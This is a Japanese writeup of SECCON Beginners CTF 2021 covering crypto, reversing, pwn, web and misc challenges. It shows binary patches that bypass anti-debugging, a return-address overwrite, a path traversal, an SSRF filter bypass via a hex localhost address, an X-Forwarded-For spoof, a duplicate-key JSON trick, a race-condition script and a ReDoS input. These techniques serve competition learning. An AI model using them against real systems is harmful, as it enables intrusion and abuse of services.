チームnicklegrで個人参加。
1787点で78位でした。
(943チーム中。Welcome以外を解いたのは705チーム)
今年は運営の方が速攻でWriteupを上げてくださってるので(ありがたい)
非想定解っぽい問題だけちゃんと書きますね。他はさらっと。
welcome
welcome
ctf4b{Welcome_to_SECCON_Beginners_CTF_2021}
crypto
simple RSA
plain RSAに対する攻撃手法を実装してみる - ももいろテクノロジー の「e乗根」
ctf4b{0,1,10,11...It's_so_annoying.___I'm_done}
Logical_SEESAW
keyが0のビットのみ50%の確率で出力が0になる。残り50%は平文が出る。なので16回分すべてのorを取ればいい。
ctf4b{Sh3_54w_4_SEESAW,_5h3_54id_50}
reversing
only read
ctf4b{c0n5t4nt_f0ld1ng}
children
[rbp+var_14]
が生成したプロセス数のカウンタ
10個といいつつ、ランダムでいくつか追加するようになっているようだ
子プロセスがさらに子プロセスを生成すると書かれているけど、そういう挙動はしないような?
まず、Please give me my child pid!
と聞かれたら何を答えても正解になるパッチを当てる
0000000000000a98 lea rdi, qword [aPleaseGiveMeMy] ; argument "__s" for method j_puts, "Please give me my child pid!"
0000000000000a9f call j_puts ; puts
0000000000000aa4 lea rax, qword [rbp+var_1C]
0000000000000aa8 mov rsi, rax
0000000000000aab lea rdi, qword [aD] ; argument "__format" for method j___isoc99_scanf, "%d"
0000000000000ab2 mov eax, 0x0
0000000000000ab7 call j___isoc99_scanf ; __isoc99_scanf
0000000000000abc mov eax, dword [rbp+var_1C]
0000000000000abf cmp dword [rbp+var_18], eax
- 0000000000000ac2 jne loc_ad6
+ 0000000000000ac2 nop
0000000000000ac4 lea rdi, qword [aOk] ; argument "__s" for method j_puts, "ok"
0000000000000acb call j_puts ; puts
0000000000000ad0 add dword [rbp+var_10], 0x1
0000000000000ad4 jmp loc_ae9
loc_ad6:
0000000000000ad6 lea rdi, qword [aThisIsNotMyChi] ; argument "__s" for method j_puts, "This is NOT my child pid!", CODE XREF=main+264
0000000000000add call j_puts ; puts
0000000000000ae2 mov eax, 0x1
0000000000000ae7 jmp loc_b60
続いて、How many children were born?
も同様に必ず正解になるパッチを当てる
0000000000000b06 lea rdi, qword [aHowManyChildre] ; argument "__s" for method j_puts, "How many children were born?"
0000000000000b0d call j_puts ; puts
0000000000000b12 lea rax, qword [rbp+var_1C]
0000000000000b16 mov rsi, rax
0000000000000b19 lea rdi, qword [aD] ; argument "__format" for method j___isoc99_scanf, "%d"
0000000000000b20 mov eax, 0x0
0000000000000b25 call j___isoc99_scanf ; __isoc99_scanf
- 0000000000000b2a mov eax, dword [rbp+var_1C]
+ 0000000000000b2a mov eax, dword [rbp+var_14]
0000000000000b2d cmp dword [rbp+var_14], eax
0000000000000b30 jne loc_b4f
0000000000000b32 mov eax, dword [rbp+var_14]
0000000000000b35 cmp eax, dword [rbp+var_C]
0000000000000b38 jl loc_b4f
0000000000000b3a mov edx, dword [rbp+var_1C] ; argument #3 for method hoge
0000000000000b3d mov ecx, dword [rbp+var_14] ; argument #4 for method hoge
0000000000000b40 mov esi, dword [rbp+var_C] ; argument #2 for method hoge
0000000000000b43 mov eax, dword [rbp+var_14]
0000000000000b46 mov edi, eax ; argument #1 for method hoge
0000000000000b48 call hoge ; hoge
0000000000000b4d jmp loc_b5b
loc_b4f:
0000000000000b4f lea rdi, qword [aYouDidntUnders] ; argument "__s" for method j_puts, "You didn't understand me...bye", CODE XREF=main+374, main+382
0000000000000b56 call j_puts
あとは0
を10回くらい入力するとフラグが取れる。
straceするのが想定解だったみたい。
ctf4b{p0werfu1_tr4sing_t0015_15_usefu1}
please_not_trace_me
フラグを復号してくれるのは良いけど,表示してくれない!!
ならgdbでメモリの中身を見よう、とすると怒られる
$ gdb ./chall
(gdb) r
Starting program: /media/sf_work/seccon_beginners_2021/please_not_trace_me/chall
...
prease not trace me...
ptraceの戻り値でデバッガチェックするらしい
Linux (anti)+ debugging
分岐を潰す。ちょっとわかりにくいけど[rbp-0x38]
にptraceの戻り値が入ってる
00000000000012f3 call j_ptrace ; ptrace
00000000000012f8 mov qword [rbp-0x38], rax
00000000000012fc mov qword [rbp-0x28], 0x6
0000000000001304 jmp sub_13a0+275
0000000000001309 cmp dword [rbp-0x48], 0x6
000000000000130d je sub_1270+172
000000000000130f mov qword [rbp-0x28], 0x8
0000000000001317 jmp sub_13a0+275
000000000000131c mov qword [rbp-0x28], 0x12 ; CODE XREF=sub_1270+157
0000000000001324 jmp sub_13a0+275
0000000000001329 lea rdi, qword [aFlagDecryptedB] ; "flag decrypted. bye."
0000000000001330 call j_puts ; puts
0000000000001335 mov qword [rbp-0x28], 0x12
000000000000133d jmp sub_13a0+275
0000000000001342 mov dword [rbp-0x48], 0x2
0000000000001349 mov qword [rbp-0x28], 0xb
0000000000001351 jmp sub_13a0+275
0000000000001356 cmp qword [rbp-0x38], 0x0
- 000000000000135b jne sub_1270+250
+ 000000000000135b nop
フラグは下記でデコードしてるので、rc4から戻った直後にブレークポイントをかけてメモリをのぞく
rc4内部でmallocしてるので、たぶんデコードバッファを確保してraxに返すんでしょう
sub_1270:
0000000000001270 mov rax, qword [rbp-0x40]
0000000000001274 mov rdi, rax ; argument #1 for method generate_key
0000000000001277 call generate_key ; generate_key
000000000000127c mov qword [rbp-0x28], 0x12
0000000000001284 jmp loc_14b3
0000000000001289 mov rax, qword [rbp-0x40]
000000000000128d mov rsi, rax
0000000000001290 lea rdi, qword [e] ; e
0000000000001297 call rc4 ; rc4
>>> 000000000000129c mov qword [rbp-0x28], 0x12
$ gdb ./chall_patch
(gdb) b *0x000055555555529c
(gdb) r
(gdb) x/32xb $rax
0x555555559030: 0x63 0x74 0x66 0x34 0x62 0x7b 0x64 0x31
0x555555559038: 0x64 0x5f 0x79 0x30 0x75 0x5f 0x64 0x33
0x555555559040: 0x63 0x72 0x79 0x70 0x74 0x5f 0x72 0x63
0x555555559048: 0x34 0x3f 0x7d 0x00 0x00 0x00 0x00 0x00
文字列っぽい。たぶん合ってる
(gdb) x/s $rax
0x555555559030: "ctf4b{d1d_y0u_d3crypt_rc4?}"
ctf4b{d1d_y0u_d3crypt_rc4?}
be_angry
SECCON Beginners CTF 2020 Writeup - setodaNote
$ time python3 main.py
WARNING | 2021-05-22 16:39:58,529 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
WARNING | 2021-05-22 16:40:00,127 | angr.storage.memory_mixins.default_filler_mixin | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior.
WARNING | 2021-05-22 16:40:00,128 | angr.storage.memory_mixins.default_filler_mixin | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:
WARNING | 2021-05-22 16:40:00,128 | angr.storage.memory_mixins.default_filler_mixin | 1) setting a value to the initial state
WARNING | 2021-05-22 16:40:00,128 | angr.storage.memory_mixins.default_filler_mixin | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null
WARNING | 2021-05-22 16:40:00,128 | angr.storage.memory_mixins.default_filler_mixin | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to suppress these messages.
WARNING | 2021-05-22 16:40:00,128 | angr.storage.memory_mixins.default_filler_mixin | Filling register id with 8 unconstrained bytes referenced from 0x4028f9 (_1_main_flag_func_4+0x1f in chall (0x28f9))
WARNING | 2021-05-22 16:40:00,130 | angr.storage.memory_mixins.default_filler_mixin | Filling register ac with 8 unconstrained bytes referenced from 0x4028f9 (_1_main_flag_func_4+0x1f in chall (0x28f9))
b'ctf4b{3nc0d3_4r1thm3t1c}'
real 0m21.542s
user 0m21.179s
sys 0m0.446s
firmware
elfは取り出したけどReversingしきれなかった。ascii.txtを読んでてややこしそうだなぁと思ったけどフェイクだった。くやしい
pwnable
rewriter
sub_4011fa:
00000000004011fa push rbp
00000000004011fb mov rbp, rsp
00000000004011fe sub rsp, 0x20
0000000000401202 lea rax, qword [aBincat] ; "/bin/cat"
0000000000401209 mov qword [rbp+var_20], rax
000000000040120d lea rax, qword [aFlagtxt] ; "flag.txt"
0000000000401214 mov qword [rbp+var_18], rax
0000000000401218 mov qword [rbp+var_10], 0x0
0000000000401220 lea rax, qword [rbp+var_20]
0000000000401224 mov edx, 0x0
0000000000401229 mov rsi, rax
000000000040122c lea rdi, qword [aBincat] ; "/bin/cat"
0000000000401233 call 0x4010e0
0000000000401238 nop
0000000000401239 leave
000000000040123a ret
% nc rewriter.quals.beginners.seccon.jp 4103
[Addr] |[Value]
====================+===================
0x00007ffd83cca560 | 0x0000000000000000 <- buf
0x00007ffd83cca568 | 0x0000000000000000
0x00007ffd83cca570 | 0x0000000000000000
0x00007ffd83cca578 | 0x0000000000000000
0x00007ffd83cca580 | 0x0000000000000000 <- target
0x00007ffd83cca588 | 0x0000000000000000 <- value
0x00007ffd83cca590 | 0x0000000000401520 <- saved rbp
0x00007ffd83cca598 | 0x00007f2c0ae90bf7 <- saved ret addr
0x00007ffd83cca5a0 | 0x0000000000000001
0x00007ffd83cca5a8 | 0x00007ffd83cca678
Where would you like to rewrite it?
> 0x00007ffd83cca598
0x00007ffd83cca598 = 0x4011fa
[Addr] |[Value]
====================+===================
0x00007ffd83cca560 | 0x6166313130347830 <- buf
0x00007ffd83cca568 | 0x356163633338000a
0x00007ffd83cca570 | 0x00000000000a3839
0x00007ffd83cca578 | 0x0000000000000000
0x00007ffd83cca580 | 0x00000000004011fa <- target
0x00007ffd83cca588 | 0x00007ffd83cca598 <- value
0x00007ffd83cca590 | 0x0000000000401520 <- saved rbp
0x00007ffd83cca598 | 0x00000000004011fa <- saved ret addr
0x00007ffd83cca5a0 | 0x0000000000000001
0x00007ffd83cca5a8 | 0x00007ffd83cca678
ctf4b{th3_r3turn_4ddr355_15_1n_th3_5t4ck}
beginners rop
SECCON 2018 Online CTF Writeup - Qiita の Classic Pwnと同じ。
手順を改善した部分だけ抜粋
gdb-peda$ pattc 320
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA'
gdb-peda$ r <<< 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA'
Program received signal SIGSEGV, Segmentation fault.
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd9c8 ("HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA")
gdb-peda$ patto "HA%dA%3A%IA%eA%4A%JA%fA%"
HA%dA%3A%IA%eA%4A%JA%fA% found at offset: 264
% nm -D libc-2.27.so | grep puts
000000000007f2d0 T _IO_fputs
0000000000080aa0 T _IO_puts
000000000007f2d0 W fputs
000000000008a710 W fputs_unlocked
0000000000080aa0 W puts
0000000000128460 T putsgent
0000000000126550 T putspent
ctf4b{H4rd_ROP_c4f3}
web
osoba
def index():
page = request.args.get('page', 'public/index.html')
response = make_response(send_file(page))
https://osoba.quals.beginners.seccon.jp/?page=/flag
ctf4b{omisoshiru_oishi_keredomo_tsukuruno_taihen}
Werewolf
class Player:
...
self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN'])
for k, v in request.form.items():
player.__dict__[k] = v
python - What is the meaning of single and double underscore before an object name? - Stack Overflow
ctf4b{there_are_so_many_hackers_among_us}
check_url
地味に手こずった。
http://localhost/ にアクセスさせる、かつこのサニタイズを通す。
if ($url !== "https://www.example.com"){
$url = preg_replace("/[^a-zA-Z0-9\/:]+/u", "👻", $url); //Super sanitizing
}
if(stripos($url,"localhost") !== false || stripos($url,"apache") !== false){
die("do not hack me!");
}
IPv6を考えたけど、 https://[::1]/
と書かないといけなくて[]
は使えない。
127.0.0.1(localhost)を一番面白く表記できた奴が優勝 - Qiita
http://2130706433/ や http://017700000001/ を試したけどBad Requestになる
Apacheが返しているメッセージなので、自前でインスタンスを立てて理由を調べる。LogLevelをdebugにするとerror.logに下記が出る。
[core:debug] [pid 67774:tid 140037633189632] vhost.c(836): [client 127.0.0.1:34810] AH02416: [strict] purely numeric host names not allowed: 2130706433
[core:debug] [pid 67774:tid 140037633189632] protocol.c(1445): [client 127.0.0.1:34810] AH00569: client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /
ならアルファベットを含めばいい。そういえば http://0x7F000001/ は試してなかった。
ctf4b{5555rf_15_53rv3r_51d3_5up3r_54n171z3d_r3qu357_f0r63ry}
json
nginxでX-Forwarded-Forの値に$proxy_add_x_forwarded_forを安易に使わない方が良い | せろとにんぱわー.
X-Forwarded-For: 192.168.111.1
をつけて認証を通す
フロントエンド
// parse json
var info Info
if err := json.Unmarshal(body, &info); err != nil {
c.JSON(400, gin.H{"error": "Invalid parameter."})
return
}
// validation
if info.ID < 0 || info.ID > 2 {
c.JSON(400, gin.H{"error": "ID must be an integer between 0 and 2."})
return
}
if info.ID == 2 {
c.JSON(400, gin.H{"error": "It is forbidden to retrieve Flag from this BFF server."})
return
}
APIサーバ
id, err := jsonparser.GetInt(body, "id")
if err != nil {
c.String(400, "Failed to parse json")
return
}
わざわざ違うライブラリ使ってるのは、変なデータ投げたときの挙動が違うんだろうなーと
{"id":2, "id":1}
をPOST
ctf4b{j50n_is_v4ry_u5efu1_bu7_s0metim3s_it_bi7es_b4ck}
cant_use_db
トランザクションはちゃんとしましょう。
$cookie = ""
class Https
# 自作クラス。省略。Cookieを$cookieに入れてる
end
BASE_URL = "https://cant-use-db.quals.beginners.seccon.jp"
Https.get(BASE_URL, {})
pp $cookie
header = { "Cookie" => $cookie.gsub(/;.+$/, "") }
pp header
threads = []
threads << Thread.new { puts Https.post("#{BASE_URL}/buy_soup", header, {}) }
threads << Thread.new { puts Https.post("#{BASE_URL}/buy_noodles", header, {}) }
threads.each {|t| t.join}
puts Https.post("#{BASE_URL}/buy_noodles", header, {})
puts Https.get("#{BASE_URL}/eat", header, {})
% ruby solve.rb
"session=eyJ1c2VyIjoiMjIyMC84aWQ0eE1GM2JXa1BsQ0dOM1FPdDBJRWxnb2FTYXo2dWdOUW4tT2t5In0.YKkFMw.LuEgjirPTLDEw1UV9OjsTzL3jI4; HttpOnly; Path=/"
{"Cookie"=>
"session=eyJ1c2VyIjoiMjIyMC84aWQ0eE1GM2JXa1BsQ0dOM1FPdDBJRWxnb2FTYXo2dWdOUW4tT2t5In0.YKkFMw.LuEgjirPTLDEw1UV9OjsTzL3jI4"}
💸💸$20000
💸$10000
💸$10000
ctf4b{r4m3n_15_4n_3553n714l_d15h_f0r_h4ck1n6}
ctf4b{r4m3n_15_4n_3553n714l_d15h_f0r_h4ck1n6}
misc
git-leak
% git reflog
e0b545f HEAD@{0}: commit (amend): feat: めもを追加
80f3044 HEAD@{1}: commit (amend): feat: めもを追加
b3bfb5c HEAD@{2}: rebase -i (finish): returning to refs/heads/master
b3bfb5c HEAD@{3}: commit (amend): feat: めもを追加
7387982 HEAD@{4}: rebase -i: fast-forward
36a4809 HEAD@{5}: rebase -i (start): checkout HEAD~2
7387982 HEAD@{6}: reset: moving to HEAD
7387982 HEAD@{7}: commit: feat: めもを追加
36a4809 HEAD@{8}: commit: feat: commit-treeの説明を追加
9ac9b0c HEAD@{9}: commit: change: 順番を変更
8fc078d HEAD@{10}: commit: feat: git cat-fileの説明を追加
d3b47fe HEAD@{11}: commit: feat: fsckを追記する
f66de64 HEAD@{12}: commit: feat: reflogの説明追加
d5aeffe HEAD@{13}: commit: feat: resetの説明を追加
a4f7fe9 HEAD@{14}: commit: feat: git logの説明を追加
9fcb006 HEAD@{15}: commit: feat: git commitの説明追加
6d21e22 HEAD@{16}: commit: feat: git addの説明を追加
656db59 HEAD@{17}: commit: feat: add README.md
c27f346 HEAD@{18}: commit (initial): initial commit
% git reset --hard HEAD@{7}
HEAD is now at 7387982 feat: めもを追加
% cat flag.txt
ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}
ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}
Mail_Address_Validator
正規表現でのメールアドレスチェックは見直すべき – ReDoS – yohgaki's blog
% nc mail-address-validator.quals.beginners.seccon.jp 5100
I check your mail address.
please puts your mail address.
username@host.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.
ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}
ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}
fly
WOLF RPGエディターのゲーム。岩でフラグが書いてあるっぽい。
エンジンのデバッグモードを立ち上げてみる。
Xスクロール値をいじれればフラグが見れそう。
うさみみハリケーンでサーチしたら0019B668
にある。書き換えてもすぐ戻されるのでollydbgでパッチを当てて値を固定。
なかった…
キャラの座標もサーチして柵の外には出られた。赤い階段に入ってみる
くっそww
青い階段にはマップ移動判定がない。ここまででした。
作問者の方のWriteup
- http://feneshi.co/ctf4b2021writeup/
- https://hi120ki.github.io/blog/posts/20210523-1/
- https://hi120ki.github.io/blog/posts/20210523-2/
- https://hi120ki.github.io/blog/posts/20210523-3/
- https://ptr-yudai.hatenablog.com/entry/2021/05/23/141108
- https://qiita.com/satoki/items/36837fce2fff7a584947
- https://qiita.com/task4233/items/6f1c63d4688d06ecbb7c
- https://qiita.com/ushigai_sub/items/8c63fb566f19ac097bc5
- https://rex.gs/2021/05/seccon-beginners-ctf-2021-crypto-%E8%A7%A3%E8%AA%AC/
他のみなさんのWriteup
- https://bakamono1357.hatenablog.com/entry/2021/05/23/160916
- https://blog.hamayanhamayan.com/entry/2021/05/23/141900
- https://blog.m0.lc/ctf4b-2021/
- https://gist.github.com/moratorium08/9f9d000b918fe70d7cefc6503fd8392e
- https://mopisec.hatenablog.com/entry/2021/05/23/141035
- https://qiita.com/DyingFrog/items/a3022e9caa6f1ba301b8
- https://qiita.com/kusano_k/items/8a63b97d1427ef2e3369
- https://qiita.com/mikecat_mixc/items/4d265e77efb2587d398a
- https://qiita.com/okuken/items/e504cfa8bdac750baca1
- https://qiita.com/xryuseix/items/bef93f4c48b4b209314d
- https://security-blog-it.com/6372/
- https://suan.hatenablog.jp/entry/2021/05/23/145827
- https://tech.kusuwada.com/entry/2021/05/23/143448
- https://www.ryotosaito.com/blog/?p=536
- https://www.youtube.com/watch?v=5ytovAmVWuA
- https://www.youtube.com/watch?v=nHFpakTRAFY
- https://y0d3n.hatenablog.com/entry/2021/05/23/163349